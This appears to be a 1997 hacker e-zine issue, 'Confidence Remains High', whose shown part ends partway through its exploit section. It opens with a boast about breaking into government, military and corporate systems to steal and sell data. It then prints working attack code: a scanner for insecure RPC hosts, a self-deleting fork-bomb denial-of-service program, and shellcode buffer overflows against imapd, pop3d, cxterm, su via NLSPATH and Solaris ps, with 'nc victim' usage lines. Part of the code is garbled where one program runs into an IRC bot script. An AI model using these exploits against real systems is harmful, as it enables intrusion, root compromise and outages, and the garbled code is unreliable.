ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .oO The CodeZero Oo. .oO Presents Oo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Welcome to issue 3, the special summer edition of... ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ /IIIIIIIIII /IIIIIIIIII /III /III \ III_____/ \ III___/III \ III \ III \ III \ III \ III \ III \_III \ III onfidence \ IIIIIIII emains \ IIIIIIIIII igh \ III \ III__/III \ III__/ III \ III \ III \ III \ III \ III \ IIIIIIIIII ___ \ III \ III ___ \ III \ III ___ \_________/ /\__\ \__/ \__/ /\__\ \__/ \__/ /\__\ \/__/ \/__/ \/__/ [15/o7/97] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CRH Editor : Tetsu Khan Official CRH Kung-Fu Film : Turf On A Rope Official CRH Pimp : so1o Official CRH Spic With A Red Hat : xFli Official CRH T-Shirt Supplier : NightRage Official CRH Visual Basic Coder : \\StOrM\\ aka Jason Sloderbeck Official CRH Print Brother : Digital Darkness ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .-----------[ An Official ]-----------. : .-----. .----. .--.--. : : : .--' : .-. : : : : : !_-:: : : : `-' ; : . : ::-_! :~-:: :: : :: . : :: : ::-~: : ::.`--. ::.: : ::.: : : : `-----' `--'--' `--'--' : !_-:: ::-_! :~-::-[ Confidence Remains High ]-::-~: :~-:: ::-~: `-----------[ Production ]------------' ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In This "Added Linux Exploits" Issue : ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -----=> Section A : Introduction And Cover Story. 1. Confidence Remains High issue 3 [summer edition]...: Tetsu Khan 2. The network is our playground......................: so1o -----=> Section B : Exploits And Code. 1. RPC-Check.sh.......................................: yo 2. DoS : superforker.c................................: Vio 3. Cool Bot Juarez : personal.tcl.....................: Scorn 4. Linux imapd remote exploit.........................: Savage 5. Linux pop3 remote exploit..........................: Savage 6. Linux cxterm exploit...............................: Ming Zhang 7. Linux nlspath exploit..............................: Solar Designer 8. Solaris 2.5.1 ps exploit...........................: J. Zbiciak 9. 0wned.c............................................: so1o -----=> Section C : Phones / Scanning / Radio. 1. DTMF Decoder.......................................: xFli 2. Dealing With Directory Assistance Operators........: Qytpo 3. Russian fone #'s (+7 095 XXXxxxx)..................: CyberLirik 4. How to fuck over a UK payphone.....................: so1o / NightRage 5. Radio link for TI-85 calculators...................: Michael Jan -----=> Section D : Miscellaneous. 1. More sIn inf0z.....................................: The CodeZero + Friends 2. Rooting From Bin...................................: so1o 3. DNS Spoofing.......................................: so1o 4. FreeNet............................................: TrN 5. Backdoors Revised..................................: Blk-Majik 6. One Last Thing About The Infamous pHf Technique....: so1o 7. Test-cgi holes.....................................: so1o 8. Tree raping........................................: digitalboy [DD] 9. .htpasswd + .htaccess..............................: Cain [DD] -----=> Section E : World News. 1. Some History.......................................: nobody 2. [GUNNAR] and MadSeason and sIn.....................: so1o 3. "Welcome to the [D]epartment of [O]wned [E]nergy"..: so1o 4. LOPHT.COM..........................................: so1o 5. AAA Report.........................................: so1o 6. Lamer of the fucking year : pSId (DALnet)..........: so1o ------=> Section F : Projects. 1. STiK...............................................: mstrhelix -----=> Section G : The End. (+ Personal Column) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1. Confidence Remains High issue 3 [summer edition] : Tetsu Khan ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Issue 4 will be out at the beginning of September, so to last you through the long hot summer nights, we present the special summer issue of Confidence Remains High, effectively issue 3 with more stuff in it. blah blah blah....codez.com is going down so here's the list : Confidence Remains High distro site list... ------------------------------------------- http://insecurity.insecurity.org/codez/ http://www.r0ot.org http://www.exceed.net http://www.7thsphere.com/hpvac/hacking.html ftp://ftp.sekurity.org/users/so1o/ ...And alot of other sites, just go looking around. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2. The network is our playground : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Just sit back for a few minutes and consider how much power we have as hackers, from our Linux boxes, or Wind0ze systems, we can connect to many thousands of Government or Military sites, as well as company networks where useful information such as credit card details can easily be found, all we need is the knowledge of holes in such systems, the means to exploit these holes, and the skills needed to "root" the system, thats all it takes. In 15 minutes, a hacker could 0wn many important NASA systems, and then proceed to pull the following types of files from such a system... - Personnel information. - Mission reports and test results. - Satellite programs and information. - Future mission dates. Or say it was a military system, then that hacker, if he knew what he was doing would be able to gain access (with relative ease) to the following kinds of files... - Personnel information. - Weapons reports. - Tactical analysis. - Future mission dates. - Intelligence papers. Lets say that a hacker was to attack a company, such as Intel, then he would be able to access... - Product test results. - Internal mail between users. - Future plans or products. - Blueprints. ... then that hacker could sell off that companies research and development reports to others, and make some ca$h. It is clear to see, that from the power we have by just owning a computer and a modem is quite huge in the right hands, and that it is pretty simple to go out and find yourself some classified information if you really want to. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ =============================================================================== ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]== =============================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1. RPC-Check.sh : yo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ #!/bin/sh #rpc.chk 1.0 # # Make sure you have got a newer version of Bourne Shell (SVR2 or newer) # that supports functions. It's usually located in /bin/sh5 (under ULTRIX OS) # or /bin/sh (Sun OS, RS/6000 etc) If it's located elsewhere, feel free to # change the magic number, indicating the type of executable Bourne Shell. # # The script obtains via nslookup utility a list of hostnames from a nameserver # and checks every entry of the list for active rexd procedures as well as # ypserver procedures. The output is a list of the sites that run those # daemons and are insecure. # -yo. domainname=$1 umask 022 PATH=/bin:/usr/bin:/usr/ucb:/usr/etc:/usr/local/bin ; export PATH # # Function collects a list of sites # from a nameserver. Make sure you've got the nslookup utility. # get_list() { ( echo set type=ns echo $domainname ) | nslookup | egrep "nameserv" | cut -d= -f2> .tmp$$ 2>/dev/null if [ ! -s .tmp$$ ]; then echo "No such domain" >&2 echo "Nothing to scan" >&2 exit 1 fi for serv in `cat .tmp$$`;do ( echo server $serv echo ls $domainname ) | nslookup > .file$$ 2>/dev/null lines=`cat .file$$ | wc -l` tail -`expr $lines - 7` .file$$ | cut -d" " -f2 > .file.tmp # .file sed -e "s/$/.$domainname/" .file.tmp > .hosts$$ rm -rf .file* .tmp$$ sort .hosts$$ | uniq -q >> HOSTS$$; rm -rf .hosts$$ done tr 'A-Z' 'a-z' HOSTS.$domainname;rm -rf HOSTS$$ } # Function rpc_calls() { for entry in `cat HOSTS.$domainname`; do ( rpcinfo -t $entry ypserv >/dev/null && echo $entry runs YPSERV || exit 1 # Error! ) >> .log 2>/dev/null ( rpcinfo -t $entry rex >/dev/null && echo $entry runs REXD || exit 1 # Error ! ) >> .log 2>/dev/null done } # Main if [ "$domainname" = '' ]; then echo "Usage $0 domainname" >&2 exit 1 fi get_list echo "Checking $domainname domain" > .log echo "*****************************" >> .log echo "Totally `cat HOSTS.$domainname | wc -l` sites to scan" >> .log echo "******************************" >> .log echo "started at `date`" >> .log echo "******************************" >> .log rpc_calls echo "******************************" >> .log echo "finished at `date`" >> .log ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2. DoS : superforker.c : Vio ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This program is fucking evil, I have tested it on a few systems and it just screws them over and sloooOOooows them right down, you cant throw anything at the shell, its pretty sadistic... /* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the bugtraq This program is a beefed up classic denial of service fork()'er :) Compilation: on BSD type of systems do: gcc -DBSD_C -o cvn cvn.c on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c on my linux, I can compile it with both -DBSD_C and -DSYSV_C if your not sure, you can experiment, or compile it without any -D'efines In the future: SunOS signals ignored. Creation of random symlinks for more gory destruction. Using advanced technology coding to make the hard drive blow up with a loud boom and the console explode causing a nuclear meltdown. Direct All Suggestions And Flames to: Vio NOTE: this program is provided for educational purposes only, its author will not take any responsibility for any stupid things you will decide to do. this has been tested, but not the latest version of it. */ #include #include #include #include #include #include #include #define MAX_FILELEN 100 /* The _actual_ max length */ #define MAX_DIRLEN 10 #define START_DIR "/tmp" /* This can be substituted for any directory */ /* that you have write access to */ void dirs_generator(void); main(int argc, char *argv[]) { int fp; char *buff; char chr; unlink(argv[0]); /* You might wanna ignore all the signals you can ignore.. */ signal(SIGINT, SIG_IGN); /* If any of the signals don't work */ signal(SIGHUP, SIG_IGN); /* on the system you are compiling */ signal(SIGTERM, SIG_IGN); /* them on, just erase that line */ signal(SIGALRM, SIG_IGN); signal(SIGBUS, SIG_IGN); signal(SIGFPE, SIG_IGN); signal(SIGILL, SIG_IGN); signal(SIGIOT, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGQUIT, SIG_IGN); signal(SIGSEGV, SIG_IGN); signal(SIGTRAP, SIG_IGN); signal(SIGUSR1, SIG_IGN); signal(SIGUSR2, SIG_IGN); #ifdef BSD_C signal(SIGPROF, SIG_IGN); signal(SIGSTOP, SIG_IGN); signal(SIGTSTP, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGTTOU, SIG_IGN); signal(SIGVTALRM, SIG_IGN); signal(SIGXCPU, SIG_IGN); signal(SIGXFSZ, SIG_IGN); #endif #ifdef SYSV_C signal(SIGPOLL, SIG_IGN); signal(SIGPWR, SIG_IGN); #endif if(fork()) { printf("Now crashing and blowing up this system.. have a nice day\n"); printf("You can safely logout, and let the proggie do its work\n"); printf("or you can stick around and watch lag go from 0 to bitch\n"); printf("in a matter of seconds\n"); printf(" --CoViN \n"); exit(0); } fp=open("/tmp/.foo",O_WRONLY|O_CREAT); if(fork()) { while(1) { fork(); buff = malloc(64000); write(fp, buff, 64000); system("uptime"); } } dirs_generator(); } void dirs_generator(void) { char alph[] = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. "; char fl[MAX_FILELEN]; char dir[MAX_DIRLEN]; int i; int flen; printf("Making dirs..\n"); chdir(START_DIR); fork(); /* For the simplicity of the code.. we also want more dir's from */ fork(); /* the START_DIR */ fork(); while(1) { fork(); flen= (rand() % MAX_FILELEN) - 1; for(i=0; i> Persona-Answer" return 1 } return 0 } # function to answer greetings proc pub_greet {nick uhost hand channel args} { global greets greet_size persona_flag if {$persona_flag} { persona_pause putserv "PRIVMSG $channel :$greets([rand $greet_size]) $nick" putlog "<<$nick>> Persona-Greet" return 1 } return 0 } # function to answer stupid stuff proc pub_stupid {nick uhost hand channel args} { global stupid stupid_size persona_flag if {$persona_flag} { persona_pause putserv "PRIVMSG $channel :$nick , $stupid([rand $stupid_size])" putlog "<<$nick>> Persona-Stupid" return 1 } return 0 } # function to answer goodbyes proc pub_bye {nick uhost hand channel args} { global bye bye_size persona_flag if {$persona_flag} { persona_pause putserv "PRIVMSG $channel :$bye([rand $bye_size]) $nick" putlog "<<$nick>> Persona-Bye" return 1 } return 0 } # misc. functions proc pub_tk3 {nick uhost hand channel args} { global persona_flag if {$persona_flag} { persona_pause putserv "PRIVMSG $channel :$nick, check out tk3play at bleh" putlog "<<$nick>> Persona-tk3play" return 1 } return 0 } # function to enforce minimum pause between responses proc persona_pause {} { global persona_flag persona_wait if {$persona_flag} { persona_off utimer $persona_wait persona_on } return 1 } # functions to turn the personality on and off proc persona_on {} { global persona_flag set persona_flag 1 return 1 } proc persona_off {} { global persona_flag set persona_flag 0 return 1 } putlog "Scorn's persona.tcl is loaded" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 4. Linux imapd remote exploit : Savage ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ /* * IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05 * * Workz fine against RedHat and imapd distributed with pine * * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of ToXyn !!! * * usage: * $ (imap 0; cat) | nc victim 143 * | * +--> usually from -1000 to 1000 ( try in steps of 100 ) */ #include char shell[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88" "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e" "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xe8\xc0\xff\xff\xff/bin/sh"; char username[1024+255]; void main(int argc, char *argv[]) { int i,a; long val; if(argc>1) a=atoi(argv[1]); else a=0; strcpy(username,shell); for(i=strlen(username);i> 8; username[i+2] = (val & 0x00ff0000) >> 16; username[i+3] = (val & 0xff000000) >> 24; } username[ sizeof(username)-1 ] = 0; printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 5. Linux pop3 remote exploit : Savage ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ /* * pop3d Linux/intel remote xploit by savage@apostols.org 1997-April-05 * * workz fine against old pop3d distributed with pine. * * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of ToXyn !!! * * usage: * $ (imap 0; cat) | nc victim 143 -- "doesnt pop3 run on 110?" - so1o * | * +--> usually from -100 to 100 */ #include char shell[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88" "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e" "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xe8\xc0\xff\xff\xff/bin/sh"; char username[1024+255]; void main(int argc, char *argv[]) { int i,a; long val; if(argc>1) a=atoi(argv[1]); else a=0; strcpy(username,shell); for(i=strlen(username);i> 8; username[i+2] = (val & 0x00ff0000) >> 16; username[i+3] = (val & 0xff000000) >> 24; } username[ sizeof(username)-1 ] = 0; printf("USER %s\nPASS Yoshemite\n", username); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6. Linux cxterm exploit : Ming Zhang ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ /* cxterm buffer overflow exploit for Linux. This code is tested on both Slackware 3.1 and 3.2. Ming Zhang mzhang@softcom.net */ #include #include #include #include #define CXTERM_PATH "/usr/X11R6/bin/cxterm" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i,OffSet = DEFAULT_OFFSET; /* use a different offset if you find this program doesn't do the job */ if (argc>1) OffSet = atoi(argv[1]); buff = malloc(2048); if(!buff) { printf("Buy more RAM!\n"); exit(0); } ptr = buff; for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) { memcpy (ptr,nop,NOP_SIZE); ptr+=NOP_SIZE; } for(i=0;i < strlen(shellcode);i++) *(ptr++) = shellcode[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_sp() + OffSet; ptr = (char *)addr_ptr; *ptr = 0; (void) fprintf(stderr, "This bug is discovered by Ming Zhang (mzhang@softcom.net)\n"); /* Don't need to set ur DISPLAY to exploit this one, cool huh? */ execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 7. Linux nlspath exploit : Solar Designer ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ /* * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1 * by Solar Designer, 1997. */ #include #include #include char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() - 3072; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode)); buffer[bufsize - 1] = 0; setenv("NLSPATH", buffer, 1); execl("/bin/su", "/bin/su", NULL); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8. Solaris 2.5.1 ps exploit : J. Zbiciak ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ #!/bin/sh # # Exploit for Solaris 2.5.1 /usr/bin/ps # J. Zbiciak, 5/18/97 # # Just copy this into one file, upload it to a system, chmod 755 and # then run it using # change as appropriate CC=gcc # Build the "replacement message" :-) cat > ps_expl.po << E_O_F domain "SUNW_OST_OSCMD" msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n" msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010" E_O_F msgfmt -o /tmp/foo ps_expl.po # Build the C portion of the exploit cat > ps_expl.c << E_O_F /*****************************************/ /* Exploit for Solaris 2.5.1 /usr/bin/ps */ /* J. Zbiciak, 5/18/97 */ /*****************************************/ #include #include #include #include #define BUF_LENGTH (632) #define EXTRA (256) int main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; /* ps will grok this file for the exploit code */ char *envp[]={"NLSPATH=/tmp/foo",0}; u_long *long_p; u_char *char_p; /* This will vary depending on your libc */ u_long proc_link=0xef70ef70; int i; long_p = (u_long *) buf; /* This first loop smashes the target buffer for optargs */ for (i = 0; i < (96) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* At offset 96 is the environ ptr -- be careful not to mess it up */ *long_p++=0xeffffcb0; *long_p++=0xffffffff; /* After that is the _ctype table. Filling with 0x10101010 marks the entire character set as being "uppercase printable". */ for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */ /* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */ /* build up _iob[1] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */ /* build up _iob[2] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */ *long_p =0; /* The following includes the invalid argument '-z' to force the usage msg to appear after the arguments have been parsed. */ execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp); perror("execle failed"); return 0; } 